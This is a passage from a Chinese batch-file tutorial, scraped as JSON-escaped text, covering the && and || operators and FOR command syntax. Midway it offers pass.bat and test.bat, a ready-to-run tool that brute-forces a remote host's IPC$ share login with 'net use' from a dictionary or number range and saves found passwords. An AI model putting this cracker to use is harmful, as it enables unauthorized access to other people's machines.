批处理经典入门教程!(从不懂到高手)第1/5页

{"4":"

15\u3001&&

\u5207\u8bb0\uff0c\u8fd9\u91cc\u4ecb\u7ecd\u7684\u51e0\u4e2a\u547d\u4ee4\u90fd\u662f\u7ec4\u5408\u547d\u4ee4\uff0c\u6240\u4ee5\u4ed6\u4eec\u524d\u540e\u90fd\u5fc5\u987b\u90fd\u6709\u5176\u4ed6\u547d\u4ee4\uff08\u8981\u4e0d\u5982\u4f55\u7ec4\u5408\uff1f\uff09\u3002\u8fd9\u4e2a\u547d\u4ee4\u4e5f\u4e0d\u4f8b\u5916\uff0c\u5b83\u53ef\u4ee5\u628a\u5b83\u524d\u540e\u4e24\u4e2a\u547d\u4ee4\u7ec4\u5408\u8d77\u6765\u5f53\u4e00\u4e2a\u547d\u4ee4\u6765\u7528\uff0c\u4e0e&\u547d\u4ee4\u4e0d\u540c\u4e4b\u5904\u5728\u4e8e\uff0c\u5b83\u5728\u4ece\u524d\u5f80\u540e\u4f9d\u6b21\u6267\u884c\u88ab\u5b83\u8fde\u63a5\u7684\u51e0\u4e2a\u547d\u4ee4\u65f6\u4f1a\u81ea\u52a8\u5224\u65ad\u662f\u5426\u6709\u67d0\u4e2a\u547d\u4ee4\u6267\u884c\u51fa\u9519\uff0c\u4e00\u65e6\u53d1\u73b0\u51fa\u9519\u540e\u5c06\u4e0d\u7ee7\u7eed\u6267\u884c\u540e\u9762\u5269\u4e0b\u7684\u547d\u4ee4\u3002\u8fd9\u5c31\u4e3a\u6211\u4eec\u81ea\u52a8\u5316\u5b8c\u6210\u4e00\u4e9b\u4efb\u52a1\u63d0\u4f9b\u4e86\u65b9\u4fbf\u3002\u4f8b\u5341\u4e03\uff1a

dir \u6587\u4ef6:\/\/1%\/www\/user.mdb && copy \u6587\u4ef6:\/\/1%\/www\/user.mdb e:\\backup\\www

\u5982\u679c\u8fdc\u7a0b\u4e3b\u673a\u5b58\u5728user.mdb\uff0c\u5219copy\u5230\u672c\u5730e:\\backup\\www\uff0c\u5982\u679c\u4e0d\u5b58\u5728\u5f53\u7136\u5c31\u4e0d\u6267\u884ccopy\u4e86\u3002\u8fd9\u53e5\u5bf9\u641e\u7f51\u7ba1\u7684\u670b\u53cb\u662f\u5426\u6709\u70b9\u7528\u5462\uff1f\u5475\u5475\u3002\u5176\u5b9e\u5b83\u548c\u4e0b\u9762\u8fd9\u53e5\u7684\u4f5c\u7528\u662f\u4e00\u6837\u7684\uff1a

if exist \u6587\u4ef6:\/\/1%\/www\/user.mdb copy \u6587\u4ef6:\/\/1%\/www\/user.mdb e:\\backup\\www

\u81f3\u4e8e\u4f60\u559c\u6b22\u7528\u54ea\u4e2a\u5c31\u968f\u4fbf\u4e86\uff0c\u6211\u6ca1\u529e\u6cd5\u5224\u65addir\u548cif\u4e24\u4e2a\u547d\u4ee4\u54ea\u4e00\u4e2a\u6267\u884c\u6548\u7387\u66f4\u9ad8\uff0c\u6240\u4ee5\u4e0d\u77e5\u9053\u7528\u54ea\u4e2a\u66f4\u597d\uff0c\u5475\u5475\u3002

\u4f60\u662f\u5426\u8fd8\u8bb0\u5f97\u201c\u6709\u4e9b\u547d\u4ee4\u662f\u4e0d\u80fd\u540c\u65f6\u6267\u884c\u7684\u201d\uff1f\u4f60\u662f\u5426\u76f8\u4fe1\u8fd9\u53e5\u8bdd\uff1f\u5f53\u7136\u5f97\u76f8\u4fe1\uff0c\u4e0d\u4fe1\u5c31\u7ed9\u4f60\u51fa\u9053\u9898\uff1a\u628aC\u76d8\u548cD\u76d8\u7684\u6587\u4ef6\u548c\u6587\u4ef6\u5939\u5217\u51fa\u5230a.txt\u6587\u4ef6\u4e2d\u3002\u4f60\u5c06\u5982\u4f55\u6765\u641e\u5b9a\u8fd9\u9053\u9898\uff1f\u6709\u670b\u53cb\u8bf4\uff0c\u8fd9\u8fd8\u4e0d\u662f\u5f88easy\u7684\u95ee\u9898\u5417\uff1f\u540c\u65f6\u6267\u884c\u4e24\u4e2adir\uff0c\u7136\u540e\u628a\u5f97\u5230\u7684\u7ed3\u679c>\u5230a.txt\u91cc\u5c31ok\u4e86\u561b\uff0c\u770b\u4f8b\u5341\u516b\uff1a

dir c:\\ && dir d:\\ > a.txt

\u4ed4\u7ec6\u7814\u7a76\u4e00\u4e0b\u8fd9\u53e5\u6267\u884c\u540e\u7684\u7ed3\u679c\uff0c\u770b\u770b\u662f\u5426\u80fd\u8fbe\u5230\u9898\u76ee\u7684\u8981\u6c42\uff01\u9519\u4e86\uff01\u8fd9\u6837\u6267\u884c\u540ea.txt\u91cc\u53ea\u6709D\u76d8\u7684\u4fe1\u606f\uff01\u4e3a\u4ec0\u4e48\uff1f\u5c31\u56e0\u4e3a\u8fd9\u91cc&&\u547d\u4ee4\u548c>\u547d\u4ee4\u4e0d\u80fd\u540c\u65f6\u51fa\u73b0\u4e00\u4e2a\u53e5\u5b50\u91cc\uff08\u6279\u5904\u7406\u628a\u4e00\u884c\u770b\u6210\u4e00\u4e2a\u53e5\u5b50\uff09\uff01\uff01\u7ec4\u5408\u547d\u4ee4&&\u7684\u4f18\u5148\u7ea7\u6ca1\u6709\u7ba1\u9053\u547d\u4ee4>\u7684\u4f18\u5148\u7ea7\u9ad8\uff08\u81ea\u5df1\u603b\u7ed3\u7684\uff0c\u4e0d\u59a5\u7684\u5730\u65b9\u8bf7\u6307\u6b63\uff09\uff01\u6240\u4ee5\u8fd9\u53e5\u5728\u6267\u884c\u65f6\u5c06\u672c\u5206\u6210\u8fd9\u4e24\u90e8\u5206\uff1adir c:\\\u548cdir d:\\ > a.txt\uff0c\u800c\u5e76\u4e0d\u662f\u5982\u4f60\u60f3\u7684\u8fd9\u4e24\u90e8\u5206\uff1adir c:\\ && dir d:\\\u548c> a.txt\u3002\u8981\u4f7f\u7528\u7ec4\u5408\u547d\u4ee4&&\u8fbe\u5230\u9898\u76ee\u7684\u8981\u6c42\uff0c\u5fc5\u987b\u5f97\u8fd9\u4e48\u5199\uff1a

dir c:\\ > a.txt && dir d:\\ >> a.txt

\u8fd9\u6837\uff0c\u4f9d\u636e\u4f18\u5148\u7ea7\u9ad8\u4f4e\uff0cDOS\u5c06\u628a\u8fd9\u53e5\u8bdd\u5206\u6210\u4ee5\u4e0b\u4e24\u90e8\u5206\uff1adir c:\\ > a.txt\u548cdir d:\\ >> a.txt\u3002\u4f8b\u5341\u516b\u4e2d\u7684\u51e0\u53e5\u7684\u5dee\u522b\u6bd4\u8f83\u7279\u6b8a\uff0c\u503c\u5f97\u597d\u597d\u7814\u7a76\u4f53\u4f1a\u4e00\u4e0b\u3002

\u5f53\u7136\u8fd9\u91cc\u8fd8\u53ef\u4ee5\u5229\u7528&\u547d\u4ee4\uff08\u81ea\u5df1\u60f3\u4e00\u4e0b\u9053\u7406\u54e6\uff09\uff1a

dir c:\\ > a.txt & dir d:\\ >> a.txt

16\u3001||

\u8fd9\u4e2a\u547d\u4ee4\u7684\u7528\u6cd5\u548c&&\u51e0\u4e4e\u4e00\u6837\uff0c\u4f46\u4f5c\u7528\u521a\u597d\u548c\u5b83\u76f8\u53cd\uff1a\u5229\u7528\u8fd9\u79cd\u65b9\u6cd5\u5728\u6267\u884c\u591a\u6761\u547d\u4ee4\u65f6\uff0c\u5f53\u9047\u5230\u4e00\u4e2a\u6267\u884c\u6b63\u786e\u7684\u547d\u4ee4\u5c31\u9000\u51fa\u6b64\u547d\u4ee4\u7ec4\u5408\uff0c\u4e0d\u518d\u7ee7\u7eed\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\u3002\u9898\u76ee\uff1a\u67e5\u770b\u5f53\u524d\u76ee\u5f55\u4e0b\u662f\u5426\u6709\u4ee5s\u5f00\u5934\u7684exe\u6587\u4ef6\uff0c\u5982\u679c\u6709\u5219\u9000\u51fa\u3002\u4f8b\u5341\u4e5d\uff1a

@echo off
dir s*.exe || exit

\u5176\u5b9e\u8fd9\u4e2a\u4f8b\u5b50\u662f\u6709\u7834\u7efd\u7684\uff0c\u4f60\u770b\u51fa\u6765\u4e86\u5417\uff1f\u5176\u5b9e\u5f88\u7b80\u5355\uff0c\u81ea\u5df1\u8bd5\u8bd5\u5c31\u77e5\u9053\u4e86\u561b\uff1a\u5982\u679c\u5b58\u5728\u90a3\u4e2aexe\u6587\u4ef6\uff0c\u5c31\u9000\u51fa\uff1b\u5982\u679c\u4e0d\u5b58\u5728\u90a3\u4e2aexe\u6587\u4ef6\uff0c\u4e5f\u9000\u51fa\uff01\u4e3a\u4ec0\u4e48\uff1f\u56e0\u4e3a\u5982\u679c\u4e0d\u5b58\u5728\u90a3\u4e2a.exe\u6587\u4ef6\uff0c\u5219\u524d\u4e00\u6761\u547d\u4ee4dir s*.exe\u6267\u884c\u80af\u5b9a\u662f\u4e0d\u6210\u529f\u7684\uff0c\u6240\u4ee5\u5c31\u7ee7\u7eed\u6267\u884cexit\uff0c\u81ea\u7136\u5c31\u9000\u51fa\u4e86\uff0c\u5475\u5475\u3002\u90a3\u4e48\u5982\u4f55\u89e3\u51b3\u9898\u76ee\u7ed9\u51fa\u7684\u95ee\u9898\u5462\uff1f\u770b\u4f8b\u4e8c\u5341\uff1a

@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit

\u8fd9\u6837\u6267\u884c\u7684\u7ed3\u679c\uff0c\u5c31\u80fd\u8fbe\u5230\u9898\u76ee\u7684\u8981\u6c42\uff0c\u662f\u5426\u5b58\u5728s*.exe\u5c06\u51fa\u73b0\u4e24\u79cd\u7ed3\u679c\u3002\u8fd9\u91cc\u52a0\u6682\u505c\u7684\u610f\u601d\uff0c\u5f53\u7136\u662f\u8ba9\u4f60\u80fd\u770b\u5230echo\u8f93\u51fa\u7684\u5185\u5bb9\uff0c\u5426\u5219\u4e00\u95ea\u800c\u8fc7\u7684\u7a97\u53e3\uff0cecho\u5c31\u767d\u5199\u4e86\u3002

\u7ed9\u51fa\u4e24\u4e2a\u66f4\u597d\u7814\u7a76\u4f18\u5148\u7ea7\uff08\u540c\u65f6\u4e5f\u662f\u66f4\u96be\u7406\u89e3\uff09\u7684\u811a\u672c\uff0c\u4ed4\u7ec6\u7814\u7a76\u5b83\u4eec\u7684\u533a\u522b\uff0c\u4ee5\u4fbf\u5f7b\u5e95\u7406\u89e3\u5404\u79cd\u547d\u4ee4\u7684\u4f18\u5148\u7ea7\u987a\u5e8f\uff0c\u5bf9\u4ee5\u540e\u81ea\u5df1\u5229\u7528\u8fd9\u4e9b\u547d\u4ee4\u5199\u811a\u672c\u6709\u5f88\u5927\u7684\u597d\u5904----\u4e0d\u4f1a\u51fa\u9519\uff01OK\uff0c\u8bf7\u770b\u4f8b\u4e8c\u5341\u4e00\u548c\u4f8b\u4e8c\u5341\u4e8c\uff1a
\u4f8b\u4e8c\u5341\u4e00\uff1a

@echo off
dir a.ttt \/a & dir a.txt || exit

\u4f8b\u4e8c\u5341\u4e8c\uff1a

@echo off
dir a.ttt \/a && dir a.txt || exit

\u8b66\u544a\uff1a\u60a3\u6709\u5fc3\u8111\u8840\u7ba1\u75c5\u7684\u670b\u53cb\u8bf7\u4e0d\u8981\u7814\u7a76\u4ee5\u4e0a\u4e24\u4f8b\uff0c\u5426\u5219\u8f7b\u8005\u5934\u5927\u5982\u6597\uff0c\u91cd\u8005\u8840\u7ba1\u7206\u88c2\u3002\u4efb\u4f55\u4eba\u7531\u4e8e\u7814\u7a76\u8fd9\u4e24\u4e2a\u811a\u672c\u7684\u533a\u522b\u800c\u9020\u6210\u7684\u4efb\u4f55\u4e8b\u6545\u7531\u81ea\u5df1\u6216\u5176\u5408\u6cd5\u76d1\u62a4\u4eba\u8d1f\u8d23\uff0c\u4e0e\u672c\u4eba\u548c\u672c\u8bba\u575b\u65e0\u5173\u3002\u7279\u6b64\u8b66\u544a\uff01

\u6709\u5173\u7ba1\u9053\u547d\u4ee4\u548c\u7ec4\u5408\u547d\u4ee4\u5c31\u5927\u6982\u4ecb\u7ecd\u5230\u8fd9\u91cc\u4e86\uff0c\u4e0d\u77e5\u9053\u806a\u660e\u7684\u4f60\u662f\u5426\u7406\u89e3\uff1f\u5475\u5475\uff0c\u80fd\u7406\u89e3\u5c31\u6210\u5929\u624d\u4e86\uff0c\u9664\u975e\u4f60\u4ee5\u524d\u5c31\u5df2\u7ecf\u638c\u63e1\uff01\u5343\u4e07\u522b\u5c0f\u770b\u4e86\u8fd9\u51e0\u4e2a\u9b3c\u547d\u4ee4\uff0c\u5927\u68d2\u69cc\u662f\u6211\u7684\u8bf4\uff0c\u7b80\u76f4\u5c31\u4e0d\u662f\u4eba\u5b66\u7684\u4e1c\u897f\uff01\u4f46\u6211\u8fd8\u662f\u9759\u4e0b\u5fc3\u6765\u7814\u7a76\u4e86\u4e00\u756a\uff0c\u6700\u540e\u5f97\u51fa\u7684\u7ed3\u8bba\u5982\u4e0a\u6240\u8ff0\uff0c\u5df2\u7ecf\u4e00\u70b9\u4e0d\u5269\u7684\u4ea4\u7ed9\u4f60\u4e86\uff0c\u5e0c\u671b\u4f60\u597d\u597d\u6536\u85cf\u5e76\u6d88\u5316\u5438\u6536\uff0c\u5f53\u7136\u6709\u9519\u8bef\u88ab\u4f60\u53d1\u73b0\u4e86\uff0c\u6216\u8005\u4e0d\u5b8c\u6574\u7684\u5730\u65b9\u88ab\u4f60\u770b\u51fa\u6765\u4e86\uff0c\u8bf7\u8d76\u7d27\u544a\u8bc9\u6211\u4e00\u58f0\uff01

\u8fd9\u51e0\u4e2a\u547d\u4ee4\u771f\u7684\u628a\u6211\u7684\u5934\u90fd\u641e\u5927\u4e86\u3002\u5728\u7f51\u4e0a\u6709\u4e00\u7bc7\u6d41\u4f20\u5f88\u5e7f\u7684\u6279\u5904\u7406\u6559\u7a0b\uff1a\u201c\u7b80\u660e\u6279\u5904\u7406\u6559\u7a0b\u201d\uff0c\u867d\u7136\u8bf4\u7684\u6bd4\u8f83\u5168\u9762\uff0c\u4f46\u770b\u8d77\u6765\u5f88\u4e0d\u8fc7\u763e\u3002\u5728\u5bf9for\u7b49\u547d\u4ee4\u4ecb\u7ecd\u65f6\u5c31\u4e00\u4e2afor \/? > a.txt & start a.txt\u5b8c\u4e8b\u4e86\uff08\u5f53\u7136\u8fd9\u4e00\u70b9\u4e0a\u6211\u4e0d\u80fd\u8bf4\u4eba\u5bb6\u4ec0\u4e48\uff0c\u6bd5\u7adf\u6211\u8fdefor \/?\u90fd\u6ca1\u7ed9\u51fa\uff09\uff0c\u800c\u5bf9\u4e0a\u8ff0\u7ba1\u9053\u547d\u4ee4\u548c\u7ec4\u5408\u547d\u4ee4\u3001\u4ee5\u53ca\u8fd9\u7bc7\u6559\u7a0b\u4ee5\u540e\u5c06\u8bb2\u5230\u7684\u7528\u6279\u5904\u7406\u597d\u554a\u4f5c\u6ce8\u518c\u8868\u7b49\u65b9\u9762\u6839\u672c\u6ca1\u6709\u4ecb\u7ecd\u3002\u6211\u4e4b\u6240\u4ee5\u82b1\u6574\u6574\u4e00\u7ae0\u6765\u8bb2\u7ba1\u9053\u547d\u4ee4\u548c\u7ec4\u5408\u547d\u4ee4\uff0c\u662f\u56e0\u4e3a\u4ed6\u4eec\u624d\u662f\u6279\u5904\u7406\u7684\u7cbe\u534e\u548c\u7075\u9b42\uff0c\u80fd\u5426\u6b63\u786e\u5229\u7528\u597d\u8fd9\u51e0\u4e2a\u547d\u4ee4\uff0c\u662f\u80fd\u5426\u638c\u63e1\u6279\u5904\u7406\u7684\u524d\u63d0\u6761\u4ef6\u3002\u5982for\u3001set\u7b49DOS\u547d\u4ee4\u7684\u95ee\u9898\uff0c\u53ef\u4ee5\u4eceDOS\u7684\u89d2\u5ea6\u51fa\u53d1\u4e13\u95e8\u6709\u9488\u5bf9\u6027\u7684\u5b66\u4e60\uff0c\u4f46\u6709\u5173\u8fd9\u51e0\u4e2a\u547d\u4ee4\u7684\u95ee\u9898\uff0c\u5374\u662f\u4e0d\u5bb9\u6613\u7cbe\u901a\u638c\u63e1\u7684----\u4ed6\u4eec\u4e4b\u95f4\u7684\u5173\u7cfb\u592a\u590d\u6742\u4e86\uff01
\u5c06\u4e0b\u5217\u4ee3\u7801\u5b58\u4e3abat\u6587\u4ef6
1\u3001\u5982\u679c\u7528\u5b57\u5178\u7834\u89e3\uff1apass.bat \u5b57\u5178\u6587\u4ef6\u8def\u5f84\u53ca\u540d\u79f0 \u4e3b\u673a \u7528\u6237\u540d
2\u3001\u5982\u679c\u7528\u6570\u5b57\u7834\u89e3\uff1apass.bat \u8d77\u59cb\u6570 \u6b65\u957f \u7ed3\u675f\u6570 \u4e3b\u673a \u7528\u6237\u540d
\u5bc6\u7801\u7834\u89e3\u51fa\u6765\u4e4b\u540e\uff0c\u5b58\u653e\u4e8ec:\\pass.txt\u6587\u4ef6\u91cc\u9762\u3002
\u5c06\u4e0b\u5217\u4ee3\u7801\u5b58\u4e3apass.bat\u6587\u4ef6
\n\u590d\u5236\u4ee3\u7801<\/u><\/a><\/span> \u4ee3\u7801\u5982\u4e0b:<\/div>\n

@echo off
echo ------------------------------------------------------------------- >>c:\\pass.txt
echo ------------------------------------------------------------------- >>c:\\pass.txt
date \/t >>c:\\pass.txt
time \/t >>c:\\pass.txt
echo \u7834\u89e3\u7ed3\u679c\uff1a >>c:\\pass.txt
if \"%6\"==\"1\" goto \u5927\u68d2\u69cc\u662f\u6211\u7684\u8bf42
:\u5927\u68d2\u69cc\u662f\u6211\u7684\u8bf41
start \"\u6b63\u5728\u7834\u89e3\" \/min cmd \/c for \/f %%i in (%1) do call test.bat %2 \"%%i\" %3
goto quit
:\u5927\u68d2\u69cc\u662f\u6211\u7684\u8bf42
start \"\u6b63\u5728\u7834\u89e3\" \/min cmd \/c for \/l %%i in (%1,%2,%3) do call test.bat %4 \"%%i\" %5
:quit
\u5c06\u4e0b\u5217\u4ee3\u7801\u5b58\u4e3atest.bat
net use \\\\%1\\ipc$ %2 \/user:\"%3\"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%\u8868\u793a\u53d6\u524d\u4e00\u547d\u4ee4\u6267\u884c\u8fd4\u56de\u7ed3\u679c\uff0cnet use\u6210\u529f\u8fd4\u56de0\uff0c\u5931\u8d25\u8fd4\u56de2
:answer0
echo \u8fdc\u7a0b\u4e3b\u673a\uff1a\"%1\" >>c:\\pass.txt
echo \u7528 \u6237\uff1a\"%3\" >>c:\\pass.txt
echo \u5bc6 \u7801\uff1a%2 >>c:\\pass.txt
net use \\\\%1\\ipc$ \/delet
exit
:answer2
\n<\/div>
For
\u5bf9\u4e00\u7ec4\u6587\u4ef6\u4e2d\u7684\u6bcf\u4e2a\u6587\u4ef6\u8fd0\u884c\u6307\u5b9a\u7684\u547d\u4ee4\u3002

\u53ef\u4ee5\u5728\u6279\u5904\u7406\u7a0b\u5e8f\u4e2d\u6216\u76f4\u63a5\u4ece\u547d\u4ee4\u63d0\u793a\u7b26\u4f7f\u7528 for \u547d\u4ee4\u3002

\u8981\u5728\u6279\u5904\u7406\u7a0b\u5e8f\u4e2d\u4f7f\u7528 for \u547d\u4ee4\uff0c\u8bf7\u4f7f\u7528\u4ee5\u4e0b\u8bed\u6cd5\uff1a

for %%variable in (set) docommand [command-parameters]

\u8981\u5728\u547d\u4ee4\u63d0\u793a\u7b26\u4e0b\u4f7f\u7528 for\uff0c\u8bf7\u4f7f\u7528\u4ee5\u4e0b\u8bed\u6cd5\uff1a

for %variable in (set) do command [command-parameters]

\u53c2\u6570

%%variable \u6216 %variable

\u4ee3\u8868\u53ef\u66ff\u6362\u7684\u53c2\u6570\u3002for \u547d\u4ee4\u4f7f\u7528\u5728 set \u4e2d\u6307\u5b9a\u7684\u6bcf\u4e2a\u6587\u672c\u5b57\u7b26\u4e32\u66ff\u6362 %%variable\uff08\u6216 %variable\uff09\uff0c\u76f4\u5230\u6b64\u547d\u4ee4\uff08\u5728command-parameters \u4e2d\u6307\u5b9a\uff09\u5904\u7406\u6240\u6709\u7684\u6587\u4ef6\u4e3a\u6b62\u3002\u4f7f\u7528 %% variable \u5728\u6279\u5904\u7406\u7a0b\u5e8f\u4e2d\u6267\u884c for \u547d\u4ee4\u3002\u4f7f\u7528 %
variable \u901a\u8fc7\u547d\u4ee4\u63d0\u793a\u7b26\u6267\u884c for \u547d\u4ee4\u3002\u53d8\u91cf\u540d\u533a\u5206\u5927\u5c0f\u5199\u3002

(set)

\u6307\u5b9a\u8981\u7528\u6307\u5b9a\u7684\u547d\u4ee4\u5904\u7406\u7684\u4e00\u4e2a\u6216\u591a\u4e2a\u6587\u4ef6\u6216\u6587\u672c\u5b57\u7b26\u4e32\u3002\u9700\u8981\u62ec\u53f7\u3002

command

\u6307\u5b9a\u8981\u5728\u6307\u5b9a\u7684 set \u6240\u5305\u542b\u7684\u6bcf\u4e2a\u6587\u4ef6\u4e0a\u6267\u884c\u7684\u547d\u4ee4\u3002

command-parameters

\u6307\u5b9a\u8981\u7528\u4e8e\u6307\u5b9a\u547d\u4ee4\uff08\u5982\u679c\u6307\u5b9a\u7684\u547d\u4ee4\u8981\u4f7f\u7528\u4efb\u4f55\u53c2\u6570\u6216\u5f00\u5173\uff09\u7684\u4efb\u4f55\u53c2\u6570\u6216\u5f00\u5173\u3002

\u5982\u679c\u542f\u7528\u4e86\u547d\u4ee4\u6269\u5c55\uff08Windows 2000 \u4e2d\u7684\u9ed8\u8ba4\u8bbe\u7f6e)\uff0c\u5c06\u652f\u6301 for \u547d\u4ee4\u7684\u5176\u4ed6\u5f62\u5f0f\u3002
For \u547d\u4ee4\u7684\u5176\u4ed6\u5f62\u5f0f
\u5982\u679c\u542f\u7528\u4e86\u547d\u4ee4\u6269\u5c55\uff0c\u5c06\u652f\u6301\u5982\u4e0b for \u547d\u4ee4\u7684\u5176\u4ed6\u683c\u5f0f\uff1a

\u53ea\u9650\u4e8e\u76ee\u5f55

for \/D [%% | %]variable in (set) docommand [command-parameters]

\u5982\u679c set \u5305\u542b\u901a\u914d\u7b26\uff08* \u548c ?\uff09\uff0c\u5219\u6307\u5b9a\u4e0e\u76ee\u5f55\u540d\u5339\u914d\uff0c\u800c\u4e0d\u662f\u6587\u4ef6\u540d\u3002

\u9012\u5f52

for \/R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

\u8fdb\u5165\u6839\u76ee\u5f55\u6811[drive:]path\uff0c\u5728\u6811\u7684\u6bcf\u4e2a\u76ee\u5f55\u4e2d\u6267\u884c for \u8bed\u53e5\u3002\u5982\u679c\u5728 \/R \u540e\u6ca1\u6709\u6307\u5b9a\u76ee\u5f55\uff0c\u5219\u5047\u5b9a\u4e3a\u5f53\u524d\u76ee\u5f55\u3002\u5982\u679c
set \u53ea\u662f\u4e00\u4e2a\u53e5\u53f7 (.) \u5b57\u7b26\uff0c\u5219\u53ea\u5217\u4e3e\u76ee\u5f55\u6811\u3002

\u8fed\u4ee3

for \/L [%% | %]variable in (start\uff0cstep\uff0cend) do command [command-parameters]

\u96c6\u5408\u662f\u4e00\u7cfb\u5217\u6309\u6b65\u957f\u91cf\u5212\u5206\u7684\u3001\u4ece\u5934\u5230\u5c3e\u7684\u6570\u5b57\u3002\u8fd9\u6837\uff0c(1,1,5) \u5c06\u751f\u6210\u5e8f\u5217 1 2 3 4 5\uff0c\u800c (5,-1,1) \u5c06\u751f\u6210\u5e8f\u5217 (5
4 3 2 1)\u3002
\u6587\u4ef6\u89e3\u6790

for \/F [\"options\"] [%% | %]variable in (filenameset) do command [command-parameters]

for \/F [\"options\"] [%% | %]variable in (\"literal string\") do command[command-parameters]

for \/F [\"options\"] [%% | %]variable in ('command') do command [command-parameters]

\u6216\u8005\uff0c\u5982\u679c\u51fa\u73b0 usebackq \u9009\u9879\uff1a

for \/F [\"options\"] [%% | %]variable in (filenameset) do command [command-parameters]

for \/F [\"options\"] [%% | %]variable in ('literal string') do command [command-parameters]

for \/F [\"options\"] [%% | %]variable in (`command`) docommand [command-parameters]

filenameset \u53c2\u6570\u6307\u5b9a\u4e00\u4e2a\u6216\u591a\u4e2a\u6587\u4ef6\u540d\u79f0\u3002\u5728\u7ee7\u7eed\u5230 filenameset \u4e2d\u7684\u4e0b\u4e00\u4e2a\u6587\u4ef6\u4e4b\u524d\uff0c\u6bcf\u4e2a\u6587\u4ef6\u90fd\u4f1a\u88ab\u6253\u5f00\u3001\u8bfb\u53d6\u548c\u5904\u7406\u3002

\u8fc7\u7a0b\u7531\u8bfb\u53d6\u6587\u4ef6\u3001\u5206\u6210\u72ec\u7acb\u7684\u6587\u672c\u884c\u53ca\u7136\u540e\u5c06\u6bcf\u884c\u89e3\u6790\u6210\u96f6\u4e2a\u6216\u66f4\u591a\u4e2a\u4ee4\u724c\u7ec4\u6210\u3002\u7136\u540e\u4f7f\u7528\u8bbe\u7f6e\u4e3a\u627e\u5230\u7684\u4e00\u4e2a\u6216\u591a\u4e2a\u4ee4\u724c\u5b57\u7b26\u4e32\u7684\u53d8\u91cf\u503c\uff08\u6216\u591a\u4e2a\u503c\uff09\u96c6\u5408\u8c03\u7528 for \u5faa\u73af\u4f53\u3002\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\/F \u4f20\u9012\u6bcf\u4e2a\u6587\u4ef6\u6bcf\u4e00\u884c\u7684\u7b2c\u4e00\u4e2a\u7a7a\u767d\u5206\u9694\u7b26\u53f7\u3002

\u8df3\u8fc7\u7a7a\u884c\u3002\u901a\u8fc7\u6307\u5b9a\u53ef\u9009\u7684\u201coptions\u201d\u53c2\u6570\u53ef\u4ee5\u8986\u76d6\u9ed8\u8ba4\u7684\u89e3\u6790\u884c\u4e3a\u3002\u8fd9\u662f\u4e00\u4e2a\u5f15\u7528\u5b57\u7b26\u4e32\uff0c\u5b83\u5305\u542b\u4e00\u4e2a\u6216\u591a\u4e2a\u5173\u952e\u5b57
\u4ee5\u6307\u5b9a\u4e0d\u540c\u7684\u89e3\u6790\u9009\u9879\u3002\u5173\u952e\u5b57\u662f\uff1a

\u5173\u952e\u5b57 \u8bf4\u660e
eol=c \u6307\u5b9a\u884c\u5c3e\u6ce8\u91ca\u5b57\u7b26\uff08\u53ea\u4e00\u4e2a\u5b57\u7b26\uff09
skip=n \u6307\u5b9a\u5728\u6587\u4ef6\u7684\u5f00\u5934\u8df3\u8fc7\u7684\u884c\u6570\u3002
delims=xxx \u6307\u5b9a\u5b9a\u754c\u7b26\u96c6\u5408\u3002\u8fd9\u5c06\u66ff\u6362\u7a7a\u683c\u548c\u5236\u8868\u7b26\u7684\u9ed8\u8ba4\u5206\u9694\u7b26\u96c6\u3002
tokens=x,y,m-n \u6307\u5b9a\u5c06\u4ee4\u724c\u4ece\u6bcf\u884c\u4f20\u9012\u5230\u6bcf\u4e2a\u53cd\u590d\u7684\u6b63\u6587\u3002\u8fd9\u5c06\u5bfc\u81f4\u5206\u914d\u5176\u4ed6\u53d8\u91cf\u540d\u3002m-n \u683c\u5f0f\u662f\u4e00\u4e2a\u8303\u56f4\uff0c\u6307\u5b9a\u4ecemth \u5230 nth \u7684\u4ee4\u724c\u3002\u5982\u679c\u5728\u4ee4\u724c = \u5b57\u7b26\u4e32\u4e2d\u6700\u540e\u4e00\u4e2a\u5b57\u7b26\u662f\u661f\u53f7\uff0c\u5219\u5c06\u5206\u914d\u9644\u52a0\u7684\u53d8\u91cf\uff0c\u5e76\u5728\u89e3\u6790\u6700\u540e\u4e00\u4e2a\u4ee4\u724c\u540e\u5728\u884c
\u4e0a\u63a5\u6536\u5269\u4f59\u7684\u6587\u672c\u3002
usebackq \u6307\u5b9a\u5c06\u53f3\u5f15\u53f7\u5b57\u7b26\u4e32\u4f5c\u4e3a\u547d\u4ee4\u6267\u884c\uff0c\u5355\u5f15\u53f7\u5b57\u7b26\u4e32\u662f\u6587\u5b57\u5b57\u7b26\u4e32\u547d\u4ee4\uff0c\u60a8\u53ef\u4ee5\u4f7f\u7528\u53cc\u5f15\u53f7\u5305\u62ec filenameset \u4e2d\u7684\u6587\u4ef6\u540d\u3002

\u53d8\u91cf\u66ff\u6362
\n\u4e0a\u4e00\u9875<\/a>1<\/a>2<\/a>3<\/a>4<\/strong>5<\/a>\u4e0b\u4e00\u9875<\/a>\u9605\u8bfb\u5168\u6587<\/a>\n<\/div>","5":"
\u6b64\u5916\uff0c\u5df2\u7ecf\u589e\u5f3a\u4e86 for \u53d8\u91cf\u5f15\u7528\u7684\u66ff\u6362\u4fee\u6539\u7a0b\u5e8f\u3002\u73b0\u5728\u53ef\u4ee5\u4f7f\u7528\u4e0b\u5217\u53ef\u9009\u7684\u8bed\u6cd5\uff08\u5bf9\u4e8e\u4efb\u4f55\u53d8\u91cf I\uff09\uff1a

\u53d8\u91cf\uff08\u4f7f\u7528\u4fee\u6539\u7a0b\u5e8f\uff09 \u8bf4\u660e
%~I \u5c55\u5f00\u5220\u9664\u4e86\u5468\u56f4\u7684\u4efb\u4f55\u5f15\u53f7 (\") \u7684 %I
%~fI \u5c06 %I \u5c55\u5f00\u5230\u5b8c\u5168\u5408\u683c\u7684\u8def\u5f84\u540d
%~dI \u53ea\u5c06 %I \u5c55\u5f00\u5230\u9a71\u52a8\u5668\u53f7
%~pI \u53ea\u5c06 %I \u5c55\u5f00\u5230\u8def\u5f84
%~nI \u53ea\u5c06 %I \u5c55\u5f00\u5230\u6587\u4ef6\u540d
%~xI \u53ea\u5c06 %I \u5c55\u5f00\u5230\u6587\u4ef6\u6269\u5c55\u540d
%~sI \u5c55\u5f00\u8def\u5f84\u4ee5\u53ea\u5305\u542b\u77ed\u540d\u79f0
%~aI \u5c06 %I \u5c55\u5f00\u5230\u6587\u4ef6\u7684\u6587\u4ef6\u5c5e\u6027
